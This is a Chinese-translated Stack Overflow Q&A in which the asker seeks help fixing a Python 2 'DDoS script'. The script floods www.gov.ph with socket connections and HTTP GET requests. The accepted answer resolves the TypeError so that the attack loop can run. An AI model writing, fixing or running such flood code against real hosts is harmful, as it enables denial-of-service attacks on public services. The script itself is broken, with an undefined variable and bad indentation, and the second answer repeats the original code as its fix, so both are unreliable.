首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >我在脚本中得到一条"TypeError:整数是必需的“消息

我在脚本中得到一条"TypeError:整数是必需的“消息
EN

Stack Overflow用户
提问于 2015-07-07 01:18:52
回答 2查看 1.6K关注 0票数 1

我试图在python中制作一个非常简单的DDoS脚本,但我似乎得到了这个输出:

代码语言:javascript
复制
for i in xrange(conn):
TypeError: an integer is required

拜托帮帮忙,我不知道为什么会这样。谢谢。

这是我的剧本:

代码语言:javascript
复制
    #usr/bin/python
"""
"""
import time, socket, os, sys, string, random, subprocess
from flask import Flask
from colorama import *
init()


# useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
version = "0.0.1]"

subprocess.call('clear', shell=True)

def main():
    print(Fore.RED + "\t  ,/         \.  ")
    print("\t ((           )) ")
    print("\t  \`.       ,'   ")
    print("\t   )')     (`(   ")
    print("\t ,'`/       \,`. ")
    print("\t(`-(         )-')")
    print("\t  \-')     (`-/  ")
    print("\t  /`'       `'\  ")
    print("\t (  _       _  ) ")
    print("\t | ( \     / ) | ")
    print("\t |  `.\   /,'  | ")
    print("\t |    `\ /'    | ")
    print("\t (             ) ")
    print("\t  \           /  ")
    print("\t   \         /   ")
    print("\t    `.     ,'    ")
    print("\t      `-.-'      ")
    print("\t             [v" + version)

        print "\nSelect option:"
        print
        print "\t [1] Berry DDoSer"
        print "\t [2] Start Webgui (Currently Still in Beta)"
    print "\n\t [0] Exit"
        print
        print

        choice = raw_input(Fore.BLUE + 'berry > ')
        print

        if choice == '1':
            print ("[!] DDoS Mode Loaded")
            host = 'www.gov.ph'
            port = 80
            conn = raw_input("How many connections do you want to make: ")
            ip = socket.gethostbyname( host )

            def dos():
                ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                try:
                    ddos.connect((host, 80))
                    ddos.send( "GET /%s HTTP/1.1\r\n" % message )
                    ddos.sendto( "GET /%s HTTP/1.1\r\n" % message, (ip, port) )
                    ddos.send( "GET /%s HTTP/1.1\r\n" % message )
                except socket.error, msg:
                    print("[!] [Connection Failed]")
                print("[DDoS Attack Servering on port %s..." + port)
                ddos.close()

            for i in xrange(conn):
                dos()

        if choice == '2':

            app = Flask(__name__)

            @app.route("/")
            def web_start():
                return '''
                <html>
                <head>
                <style>
                body{
                background-color: yellow;
                }
                </style>
                </head>
                <body>
                <center>
                    <h1 style="color: red;">Hello</h1>

                    <button id="testButton">Test button</button>
                    </center>
                </body>
                </html>
                '''

            if __name__ == "__main__":
                app.run()

        if choice == "exit" or choice == '0':
            raw_input("\t[!] Quiting Session...")
            print("\n[!] Session Closed.")
            exit()



if __name__ == '__main__':
    main()

请注意其他内容,ddos脚本使用的是选项1

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2015-07-07 01:22:56

conn被读取为字符串。试着把它转换成整数。xrange(int(conn))

票数 1
EN

Stack Overflow用户

发布于 2015-07-07 01:29:35

我认为你应该尝试用xrange(int(conn)代替xrange(int(conn)

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/31258235

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档